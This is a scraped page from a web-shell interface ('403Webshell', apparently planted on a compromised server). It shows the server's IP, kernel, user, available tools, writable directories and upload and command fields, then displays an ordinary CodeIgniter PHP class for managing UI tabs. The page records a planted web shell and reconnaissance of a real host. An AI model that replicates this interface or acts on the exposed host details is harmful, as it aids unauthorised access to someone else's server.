403Webshell
Server IP : 103.161.17.216  /  Your IP : 216.73.216.1
Web Server : nginx/1.18.0
System : Linux tipsysaigoncharming 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/app.houseland.info/application/libraries/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/app.houseland.info/application/libraries/App_tabs.php
<?php

defined('BASEPATH') or exit('No direct script access allowed');

class App_tabs
{
    private $ci;

    private $tabs = [];

    private $child = [];

    public function __construct()
    {
        $this->ci = &get_instance();
    }

    public function add_customer_profile_tab($slug, $tab)
    {
        $this->add($slug, $tab, 'customer_profile');

        return $this;
    }

    public function get_customer_profile_tabs()
    {
        return $this->get('customer_profile');
    }

    public function add_project_tab($slug, $tab)
    {
        $this->add($slug, $tab, 'project');

        return $this;
    }

    public function add_project_tab_children_item($parent_slug, $tab)
    {
        $this->add_child($parent_slug, $tab, 'project');

        return $this;
    }

    public function get_project_tabs()
    {
        return $this->get('project');
    }

    public function add_settings_tab($slug, $tab)
    {
        $this->add($slug, $tab, 'settings');

        return $this;
    }

    public function add_settings_tab_children_item($parent_slug, $tab)
    {
        $this->add_child($parent_slug, $tab, 'settings');

        return $this;
    }

    public function get_settings_tabs()
    {
        return $this->get('settings');
    }

    /**
     * New Tab
     * @param string $slug tab slug - unique
     * @param array $tab item options
     * name - The name of the item - - Required
     * icon - item icon class
     * view - the view file to load as tab content
     * position - the position of the item
     * visible - whether is visible or not, not applied if custom settings for visible tab applied by the user
     */
    public function add($slug, $tab, $group)
    {
        $tab = app_fill_empty_common_attributes($tab);
        $tab = ['slug' => $slug] + $tab;

        $this->tabs[$group][$slug] = $tab;
    }

    /**
     * Add children item to existing tab item
     * @param string $parent_slug parent slug
     * @param array $item child tab item options
     * slug - The slug of the item - Required and Unique
     * name - The name of the item - - Required
     * icon - item icon class
     * view - the view file to load as tab content
     * position - the position of the item
     * visible - whether is visible or not, not applied if custom settings for visible tab applied by the user
     */
    public function add_child($parent_slug, $tab, $group)
    {
        $tab = app_fill_empty_common_attributes($tab);

        $tab = ['parent_slug' => $parent_slug] + $tab;

        if ((!isset($this->child[$group][$parent_slug]) || !is_array($this->child[$group][$parent_slug]))) {
            $this->child[$group][$parent_slug] = [];
        }

        $this->child[$group][$parent_slug][] = $tab;
    }

    public function get($group)
    {
        hooks()->do_action('before_get_tabs', $group);

        $tabs = isset($this->tabs[$group]) ? $this->tabs[$group] : [];

        foreach ($tabs as $parent => $item) {
            $tabs[$parent]['badge'] = isset($tabs[$parent]['badge']) ? $tabs[$parent]['badge'] : [];
            $tabs[$parent]['children'] = $this->get_child($parent, $group);
        }

        $tabs = hooks()->apply_filters("{$group}_tabs", $tabs);

        $tabs = $this->filter_visible_tabs($tabs);

        return app_sort_by_position($tabs);
    }

    public function get_child($parent_slug, $group)
    {
        $children = isset($this->child[$group][$parent_slug]) ? $this->child[$group][$parent_slug] : [];

        foreach ($children as $key => $item) {
            $children[$key]['badge'] = isset($children[$key]['badge']) ? $children[$key]['badge'] : [];
        }

        $children = hooks()->apply_filters("{$group}_tabs_child_items", $children, $parent_slug);

        return app_sort_by_position($children, true);
    }

    public function filter_visible_tabs($tabs)
    {
        $newTabs = [];
        foreach ($tabs as $key => $tab) {
            $dropdown = isset($tab['collapse']) ? true : false;

            if ($dropdown) {
                $totalChildTabsHidden = 0;
                $newChild             = [];

                foreach ($tab['children'] as $d) {
                    if (isset($d['visible']) && $d['visible'] == false) {
                        $totalChildTabsHidden++;
                    } else {
                        $newChild[] = $d;
                    }
                }

                if ($totalChildTabsHidden == count($tab['children'])) {
                    continue;
                }

                if (count($newChild) > 0) {
                    $tab['children'] = $newChild;
                }

                $newTabs[$tab['slug']] = $tab;
            } else {
                if ((isset($tab['visible']) && $tab['visible'] == true) || !isset($tab['visible'])) {
                    $newTabs[$tab['slug']] = $tab;
                }
            }
        }

        return $newTabs;
    }

    public function filter_tab($tabs, $slug)
    {
        foreach ($tabs as $tab) {
            if ($tab['slug'] == $slug) {
                return $tab;
            }

            foreach ($tab['children'] as $child) {
                if ($child['slug'] == $slug) {
                    return $child;
                }
            }
        }

        return false;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit